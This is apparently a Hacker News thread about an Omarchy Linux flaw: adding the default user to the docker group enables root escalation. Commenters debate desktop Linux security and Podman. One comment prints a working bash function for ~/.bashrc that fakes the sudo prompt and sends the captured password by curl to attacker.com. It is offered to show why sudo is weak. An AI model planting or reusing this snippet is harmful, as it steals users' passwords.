alt Hacker NewsOmarchy: Any User Process Can Escalate to Root
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Linux isn't like macOS, it doesn't have any kind of proper desktop sandboxing architecture that really works. So this is kind of security theatre. If you run a malicious program it can do stuff like tamper with your PATH or exploit local vulns in apps to get to the point where it can control anything that matters (which root generally doesn't). For instance it can just drop a custom shell into ~/.bin/.hidden-shell and reconfigure the terminal emulator to run it.
So this kind of "vulnerability" doesn't seem that important. If you run code as yourself on Linux it owns you.
On macOS it's very different. Pervasive code signing gives all apps a stable identity enforced by the kernel that they can't easily escape. The kernel can then impose sandboxing policies on any app that's run regardless of how it's installed, for instance, preventing apps from rummaging through ~/Documents or monitoring your screen. Permissions are editable and guaranteed to stick, including across upgrades. And root is disempowered so obtaining it barely matters, it's only really there for UNIX compatibility.
Unfortunately implementing an Apple style architecture on Linux would be very difficult.
Couple of months after this discovery, Internet explorer 11 will be released (October 17, 2013)
I think people shouldn't just jump to distros which are getting heavily hyped in media/Youtube, cachyOS had similar wave, and now Omarchy does.
(example: NetworkChuck, Primeagen? and a few others)
also, archlinux is much easier to install nowadays with archinstall [1], so i'm not sure you really need another opinionated layer on top of it
It’s not great, but I’m not sure this should be framed as Omarchy-specific, when it’s a very common setup to add regular user to the docker group.
To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater.
Malware just need to put this in ~/.bashrc and wait:
function sudo () {
realsudo=$(which sudo)
read -r -s -p "[sudo] password for $USER: " password
echo "$USER: $password" | \
curl -F 'p=<-' https://attacker.com >/dev/null 2>&1
$realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1
$realsudo "${@:1}"
}The Docker configuration issue was reported and changes were made quickly to address it. Sounds like this is a great example of the system working well.
Omarchy looks like a simple way for a developer like me to test drive hyprland and write code. It also looks like a great way for my kids to get into computers as there's an agent harness ready to help them manage their machine and use free software, even the stuff that's a bit obtuse.
I'm bewildered that people are mad about any of this, but then I remember I don't care what the gatekeepers think anymore.
Why not use rootless podman? It is 2026 not 2016, Podman works much better than Docker today.
Wow... this is really telling. This isn't some obscure whoopsie. The docker install page has a giant section explaining exactly this problem. Every Docker section on every distro wiki walks through this issue in detail. It 80% the reason Podman was created in the first place.
There are definitely a few security holes in Omarchy. I tried installing their win11 docker script and that just saves the username and password of the Windows VM as plain text in a config file.
I like playing around with Omarchy since there are a lot of interesting ideas put together in a semi cohesive 'OS', but would probably not use it for anything serious until it became a bit more mature.
Not an Omarchy user and use podman rather then docker. But is this not a docker issue rather then a Omarchy issue, docker should verify user permissions through the socket, it's quite bad that it does not no?
I had no idea what Omarchy was, so I looked it up: https://omarchy.org/
Is there a name for a phobia of yt thumbnails?
Installing docker by default is completely insane. What are they doing? Rootless podman has been around for many years at this point.
The scenario of running any agent on the host raw seems far fetched for most users. I think everyone is running these things in at least a container, I know I never trusted running claude code or any agent for that matter, but I might be a little paranoid on that front.
Somebody should do an audit of Omarchy Plugins: https://plugins.omarchy.org/
They run completely unsandboxed and are unvetted.
The docker escalation 'trick' is even a meme at this point
And here it begins…
Been using Linux on and off for 30+ years and I’ve always always had second thoughts about using anything outside the main 3-4 distros, and I mean forks, blends etc. let alone vibe coded distros, even *buntu feels like a stretch.
I really like DHH’s enthusiasm and what he’s trying to do but I will never touch that “distro”.
Debian/Devuan, Fedora/RHEL/Alma/Rocky, Arch/Artix, FreeBSD/OpenBS/NetBSD are all anyone will ever need.
You feel more adventurous? NixOS, Gentoo, Slackware, Void.
That’s it. No forks, no blends.
I keep Xebian and LMDE ISOs in my flash drive to show people but I don’t personally use even those.
People jumping all around these new distros that only seem to change a wallpaper without knowing the basics is a bad choice, like the first comment says, isn’t this the reason you wanted to move away from Windows in the first place?
Just take your time and enjoy learning, they are all so simple today compared to decades ago it’s crazy.
Thank you for listening to my TED talk.
There were many amazing distros before Omarchy and there will be many after. Use whatever you want, vibecoded or not. Don't tell people what to do. Make your own decisions.
And the cycle continues. It’s funny seeing Omarchy (DHH) becoming popular when we had LARBS (Luke Smith) 8-10 years ago.
Something about a controversial personality pushing a window manager install script is really appealing to people I guess. At least it brings awareness that other desktop paradigms exist. Although after years of ‘optimizing’ my tiling window manager I just ended up back on KDE.
As expected from a vibecoded "distro"
Debian 13 is good.
anecdotal and fwiw, Omarchy is the first distro that "stuck". I've been using it on my desktop for a year now. I use it for personal projects and light gaming via Steam. Personal MacBook is only used when I want to compute on the couch. Work computer is also a MacBook. But everything else, Omarchy desktop.
Previous attempts with Ubuntu and PopOS! never stuck.
>the most important takeaway is simple: update to 4.0.1.
I gotta say, that is not the most important takeaway for me; rather, "don't walk, run".
I hate to be defending Omarchy but I think for the modern desktop OS like Linux or Windows or Mac OS, "root" is not what it used to be.
Like if I have something on my dev machines which is important from an enterprise perspective it is the credentials that I use to check things into the git repository or log into the postgresql database that are in some file or keyring or the credentials I used to log into some corporate IT system with my web browser. Or the Microsoft Word document with confidential plans, or the spreadsheet with personal data on 30,000 people that I don't really need to have, etc.
The "root" barrier is of limited effectiveness against those sort of attacks but the barrier between users is less important on a personal computer as opposed to the "minicomputer" world that gave birth to Unix.
In 1989 my school had a cluster of Sun Workstations running Unix for which student, faculty, and staff had accounts and it was a real threat model that you might steal the homework assignment of another student or you might take screenshots of the screen of the computer center's director that would let you watch him reading his email his email and such.
I more concerned that Apache is running under a "httpd" account or IIS is running under its own account so that I do have controls on what can be exfiltrated by that route but...
The modern developer is likely booting up a sinatra or JAXB or a httpx server on some high numbered port running as their own user so if they're going to get hit with data exfiltration or remote execution against a dev server the scope is most user files.
I was expecting a more sophisticated attack and then I scrolled down…
> Omarchy configured its default user as a member of the Linux docker group.
What the fuck? Docker makes it VERY, VERY clear this is unsafe. Feel free to verify the documentation.
https://docs.docker.com/engine/install/linux-postinstall/
Why would you want to make this the default for your users, without even telling them? Did someone configured his own system to work this way and decided it is a good idea to ship it as a part of an "opinionated" distro??? Makes you wonder how much other crap is there.
Yes ok, but the moment you gain user access to my machine, I've already lost. The amount of damage you can do as root is about the same you can do as me.
The likelihood of Omarchy being hacked is no doubt compounded by the number of enemies DHH has created who would love to see him fail.
ot fyi: "omarchy" is fine as a creative spelling for omachi, but "omacon" / "omacom" has extremely low Levenshtein distance with the honorific form of the word for human female reproductive component in japanese
Barely related, I decided to move on. Linux has been weaponized for self-promotion. So I'm happy just working with Beastie these days.
Is it not better to run a VM just for Docker, like we have to do on macOS?
Surprised by this. I only ever use podman (which by default, runs rootless) these days and haven’t felt the need for docker. Feels like reading about a CVE in Compiz.
OK... and? This doesn't matter for a desktop, because:
1. Having access to the user's home directory is way more serious than being able to install drivers or whatever
2. There are a million other ways to escalate to root by obtaining the user's password
I also don't understand the point of these distros, just install Arch with KDE via archinstall, it literally takes 15 minutes. Why is it that people feel the need to use someone's Arch setup?
This is the type of security and vulnerability testing that actually matters. In a sea of security researcher noise, thank you for contributing in a meaningful way.
Lol. This misconfiguration is so common and so trivial that LLMs have been known to exploit it unprompted, to complete their task.
I genuinely put companies that invested in this on my blacklist. I don't care about the politics behind it. His whole persona is and was to be edgy and cruel so nothing will change here. But there are probably millions of oss projects that deserve the funding more.
Ubuntu has the exact same vulnerability, except with lxd instead of docker, but for some reason, it's considered working as intended.
On a fresh install of Ubuntu Server, the first user created is part of the lxd group, can install lxd without root thanks to snap, and can immediately create a privileged container with the host's root filesystem mounted inside.
I mean, I saw this on twitter, and thought ok maybe its a nice exploit. But really? its the usual docker root thing?
I wouldn't even consider that a vulnerability tbh, every personal laptop I had I add myself to docker group. Yes, you can not namespace pids, filesystem, etc, and get root, but it's never mattered.
If someone can run that docker command, they can already read your whole homedir, edit bashrc, etc etc,. and sudo is useless anyways.
Only on a system where you are a user without sudo access, does it even begin to make sense. And if you go to the trouble of intentionally setting up a user without sudo access, you wouldn't be adding that user to the docker group either. In the default install, I assume omarchy adds you to the sudoers as well, making this a perfectly ok thing to do
Even if you participate in the esteemed Red Hat Security Theater and use wayland, flatpaks, etc, most flatpaks can write anywhere in your home dir, so they can do this too.
On standard linux desktop, sudo is not really security, but it is a UX improvement as it adds friction to accidentally doing things to the "system".
[I don't use omarchy]
"Opinionated" software sounds great until you find out the author has the stupidest opinions you've ever heard in your life.
That is what happens when someone without a clue what is he (khm, DHH) doing vibe codes a distro.
Other day i was hearing DHH talk on Lex's podcast on Omarchy and how he does not look at the code anymore. The guy built solid reputation with his prev contributions but now falling to AI slop.
10M for a some shell scripts what a steal lmao
No way, the vibecoded distro has security problems!?!?! WTF, didn't DHH ask claude to check for security issues?
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Sad that people just complain about what DHH is doing and how he doesn't know anything. Nobody is forcing anybody to use Omarchy at all. Also $10 million was raised by him for it, did anybody else here raise that for a distro? I'm tired of the constant complaining and criticizing. Nobody said you have to use it.
I've already stated this on the last Omarchy thread, the way DHH is implementing it is highly irresponsible and insecure. Half of his "distro" are essentially shell scripts where it's extremely easy to create accidental security holes. Considering that probably half of his code would need something like setuid/execute bits set in order to avoid configuration spaghetti, I'd imagine that there are _hundreds_ of vulnerabilities in there. If you think about it logically, just the desktop environment (note that I have no idea if he coded his own or is using an existing one) needs access to input the graphics driver the netstack all of which require priviledges of some kind.
A few days ago someone found they were flowing USB descriptors straight into the shell.
https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8...
Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?